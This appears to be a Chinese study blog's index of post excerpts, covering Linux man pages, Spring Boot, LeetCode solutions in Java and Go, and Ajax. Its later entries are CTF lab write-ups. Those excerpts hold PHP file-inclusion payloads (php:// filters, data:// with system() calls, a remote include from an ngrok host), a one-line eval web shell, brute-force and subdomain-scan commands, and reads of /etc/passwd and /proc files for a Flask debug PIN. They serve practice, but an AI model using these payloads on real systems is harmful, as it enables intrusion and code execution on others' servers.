Linux学习(一)
linux操作学习(一)常用linux命令man man 查看man的帮助信息
man命令中常用按键以及作用
按键
作用
空格键
向下翻一页
PaGe down
向下翻一页
PaGe up
向上翻一页
home
直接前往首页
end
直接前往尾页
/
从上至下搜索某个关键词,如“/linux”
?
从下至上搜索某个关键词,如“?linux”
n
定位到下一个搜索到的关键词
N
定位到上一个搜索到的关键词
q
退出帮助文档
man命令中帮助信息的结构以及意义
结构名称
代表意义
NAME
命令的名称
SYNOPSIS
参数的大致使用方法
DESCRIPTION
介绍说明
EXAMPLES
演示(附带简单说明)
OVERVIEW
概述
DEFAULTS
默认的功能
OPTIONS
具体的可用选项(带介绍)
ENVIRONMENT
环境变量
FILES
用到的文件
SEE ALSO
相关的资料
HISTORY
维护历史与联系方式
Tab键
它能够实现对命令、参 ...
springboot学习
springboot仅做记录 原文https://blog.didispace.com/spring-boot-learning-2x/
新建项目
选择spring web
目录结构
src/main/java 下程序入口 Demo1Application
src/main/rescurces下的配置文件 application.properties
src/test/下的测试入口 Demo1ApplicationTests
生成的Demo1Application和Demo1ApplicationTests类都可以直接运行来启动当前创建的项目,由于项目未配置任何参数,程序会在加载完成spring之后结束运行
<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3. ...
leetCode(java)
TowSum给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。
创建一个map
for循环遍历nums数组
用target - nums[i],用来计算那个数跟当前的数字相加得到target
检查map中是否有这个数,如果有则返回结果,如果没有则把num[i]当做key,i当做value放入map中
package wanan;import java.util.HashMap;import java.util.Map;public class TwoSum { public int[] twoSum(int[] nums,int target){// 返回值为int[]数组 HashMap<Integer, Integer> map = new HashMap<>();// 定义一个hashmap for(int i = 0;i<nums.length;i++){ ...
ajax
ajax概述什么是异步,什么是同步?假设有t1线程和t2线程,t1线程和t2线程并发,就是异步.假设在t2线程执行时,必须等待t1线程执行到某个位置之后t2才能执行,那么t2在等t1,排队的就是同步.ajax就是异步请求
XMLHttpRequest对象XMLHttpRequest对象是ajax的核心对象,发送请求以及接受服务器数据的返回全靠这个对象.XMLhttpRequest对象,现代主流的浏览器都支持,都内置了改对象,可以直接使用.创建XMLHttpRequest对象
var xhr = new XMLHttpRequest();
XMLHttpRequest对象的方法
方法
描述
about()
取消当前请求
getAllResponseHeaders()
返回头部信息
getResponseHerader()
返回特定的头部信息
open(method,url,async,user,psw)
规定请求method:请求类型GET或者POST url:文件位置 ansync:true(异步)或者false(同步) user:可选的用户名称 psw:可选 ...
leetCode(GO)
twoSumpackage mainfunc twoSum(nums []int, target int) []int { // 返回值为一个int数组 m := make(map[int]int) //这里是初始化一个字典map for k, v := range nums { //循环遍历每一个num 其中k为下标 v为值 if idx, ok := m[target-v]; ok { //这里将是将数组值存储为字典的键 取出来的idx就是 而这里的ok如果取出来有就是ture return []int{idx, k} //得到就返回回去而这里的idx其实就是数组下标 而k是值 } m[v] = k //如果没有取到就放入map中 } return nil}func main() { nums := []int{2, 3, 11, 7} twoSum(nums, 9)}
addTwoNumberspackage maintype ListN ...
黑盒测试
web380
扫扫目录,翻翻源码
这是别人扫的,工具扫太快,扫不到.改天研究研究把速度调慢点
什么也没发现
不过看来是按page_1 2 3 4来读取的文件,我们试试别的试试page.php
发现是通过id参数
存在本地文件包含
web381
找后台
爆破
web21base64编码爆破
抓包发现并没有使用get和post提交
发现一个basic 解码base64是密码
开始爆破,添加位置
选择用户自定义
在一填admin:
二加上刚才的字典
添加base64编码,取消下面的url编码
查看响应
web22子域名爆破扫一下百度吧,记录下工具
ctfrpython ctfr.py -d baidu.com
oneforallpython oneforall.py --targets baidu.com run
layer
web23<?php/*# -*- coding: utf-8 -*- Author: h1xa Date: 2020-09-03 11:43:51 Last Modified by: h1xa Last Modified time: 2020-09-03 11:56:11 email: h1xa@ctfer.com link: https://ctfer.com*/error_reporting(0);include('flag.php');if(isset($ ...
文件包含
web78
源码开局
php://
?file=php://filter/read=convert.base64-encode/resource=flag.php
data://
?file=data://text/plain,<?php%20system('cat `ls`')?>
php://
?file=php://inputPOST<?php system('tac `ls`') ?>
http
?file=http://9eb3-111-17-194-91.ngrok.io/wanan.txt?file=https://9eb3-111-17-194-91.ngrok.io/wanan.txt
web79 <?php/*# -*- coding: utf-8 -*- Author: h1xa Date: 2020-09-16 11:10:14 Last Modified by: h1xa Last Modified time: 2 ...
文件上传
web151js验证
抓包直接绕过
这只能上传png
web152content-type验证
<?php @eval($_POST["zf"]);?>
<?php/*# -*- coding: utf-8 -*- Author: h1xa Date: 2020-10-24 19:34:52 Last Modified by: h1xa Last Modified time: 2020-10-24 21:20:33 email: h1xa@ctfer.com link: https://ctfer.com*/error_reporting(0);if ($_FILES["file"]["error"] > 0){ $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);}else{ $filename ...
常用姿势
web801
可以读文件,查看本地进程
/proc/self/cmdline
可见是个py程序
python后台地址/app/app.py
/etc/passwd
/usr/local/lib/python3.8/site-packages/flask/app.py
/sys/class/net/eth0/address
/proc/sys/kernel/random/boot_id
/proc/self/cgroup
import hashlibimport getpassfrom flask import Flaskfrom itertools import chainimport sysimport uuidimport typing as tusername='root' #/etc/passwdapp = Flask(__name__)modname= getattr(app, "__module__", t.cast(object, app).__class__.__module__)mod ...